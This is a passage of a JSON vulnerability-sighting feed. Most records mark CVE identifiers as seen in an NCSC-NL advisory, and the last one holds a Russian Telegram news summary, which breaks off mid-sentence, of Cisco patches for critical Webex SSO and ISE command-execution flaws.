"type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "6e90bac4-aa6b-4b0c-a78d-45e6f00d1846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20814", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "15bdbbaa-2412-4268-92f7-3273359c2b64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20836", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "b8a417eb-09ca-4aaa-8c00-f09a48c434c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20925", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c0eb0d81-2ed1-46b3-bb2f-498a17787480", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20872", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "0bbcbf09-918b-4b2a-bbb2-fe4bdfde89ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20810", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c46c322f-bc97-473b-8f4e-f720356067e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20831", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "fa689250-fdf3-4211-8b0b-0eead67d574f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20860", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "9c07fd9c-a238-496d-af77-341b32b2a455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20808", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "10a3c3d1-6530-4661-b307-966cf4da576d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20875", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "528553c5-0dff-4568-b2d6-7a399bd4a80b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20854", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "8b54f15a-28df-45ad-a8c7-69d1a7ff9751", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20818", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "9b0c0ed3-aad1-4891-aee6-b69b14038b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20838", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "004d984a-2f3a-4d6a-8d7f-8849695fea20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20859", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "850fc860-9f0f-436d-bf05-f8868a7b9c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20821", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "b4ca5d6a-66c0-4658-bea3-05fc05935d1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20962", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "fe3138eb-be49-4884-a15d-acc18bda32dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20931", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "fe3e0aa2-5bd6-40b2-b32d-5749656965d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20816", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "977f250d-6eee-4367-be32-4450549c1311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20852", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "e5fda534-c4fb-4061-a0b3-665250ded7a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20853", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "762ca296-a457-42f0-9cd6-fc52615f0479", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20871", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "6722e33e-25b5-48b5-b079-8b7dc1b2189d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20864", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "27e2fe98-b359-4f32-94ba-2aa8dfa8bdfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20828", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "54d89655-3466-443c-b06f-aca213966bfc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20833", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "43232576-4a20-4734-aca7-00727f0b2f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20849", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "e886d075-2319-47f7-85fc-ec9a3b076eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20843", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "ab020ccb-5433-4a65-9fbc-57ba66c98e97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20868", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "9321f358-858d-4900-8cea-26d12d40f7df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20840", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "5b169dec-c871-4430-a5db-ff767a828832", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20822", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "215a5288-5f99-4239-b740-43164986bb9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20804", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "d932e55a-163a-4fff-bccd-8e96e794961d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20922", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "feb5b600-3376-4b9f-b57a-3f28547594c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20938", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "d32f88ef-109e-48a0-bbdd-d7f377d003d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20826", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "42e5f69e-d090-4cec-a2d9-c49c0abac408", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20842", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "fd4a3cd8-59e9-4672-a056-59012ef3856f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20825", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "1b27e98e-7531-46b8-b6ab-183e82c09a21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20809", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "3519ad54-c566-4b98-8346-7007714e2c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20823", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "b106430c-e46e-44e3-94c6-13c7a8dd7eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20844", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c46d98d8-8e32-44bd-b05a-525019ac1fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20827", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "d88fd8fc-0035-4b71-9d83-7ea49b9f26df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20919", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "94305100-0c07-4480-b5c1-9bce3275f628", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20921", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "8b1aebcc-4fec-42f5-ac3a-ea44dfc75821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20926", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "064d5fe2-ec38-49ac-94cd-229b4de18ac7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20856", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "c3fe82e4-db46-4601-9711-39c8a6e602f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20932", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "bfaf858f-8d14-47d8-8b4b-3afde7f7926d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20937", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "ed0e9483-02c4-4c1e-8dd7-7023e0c778f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20939", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "5be1b08f-36e2-4f96-8311-36735de80f75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20857", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "ec63c4fd-8878-43ea-8873-db749d639e49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20934", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0007", "content": "", "creation_timestamp": "2026-04-10T10:53:42.000000Z"}, {"uuid": "291b9fd5-4245-44ee-bccc-25e9383b0bc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20186", "type": "seen", "source": "https://t.me/true_secator/8110", "content": "Cisco \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f 15 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0432 Webex \u0438 Identity Services Engine (ISE).\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 Webex, CVE-2026-20184, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044e \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 (SSO) \u0441 Control Hub \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f.\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c Webex.\n\nCisco \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u043b\u0430 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 Webex, \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u043c \u0435\u0434\u0438\u043d\u044b\u0439 \u0432\u0445\u043e\u0434 (SSO), \u00ab\u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043d\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 SAML \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 (IdP) \u0432 Control Hub.\n\n\u041a\u0440\u043e\u043c \u0442\u043e\u0433\u043e, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0442\u0440\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 ISE, \u0434\u0432\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u2013 CVE-2026-20180 \u0438 CVE-2026-20186 \u2013 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u041e\u0421.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\n\u0412 \u043e\u0434\u043d\u043e\u0443\u0437\u043b\u043e\u0432\u044b\u0445 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f\u0445 Cisco ISE \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f DoS, \u043f\u0440\u0435\u043f\u044f\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0443 \u043a \u0441\u0435\u0442\u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0445 \u0442\u043e\u0447\u0435\u043a.\n\n\u0422\u0440\u0435\u0442\u044c\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ISE, CVE-2026-20147, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0442\u0435\u043c \u0436\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u043c, \u0447\u0442\u043e \u0438 \u0434\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u041e\u0441\u0442\u0430\u0432\u0448\u0438\u0435\u0441\u044f 11 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 Cisco, \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u0441\u043e\u0431\u043e\u0439 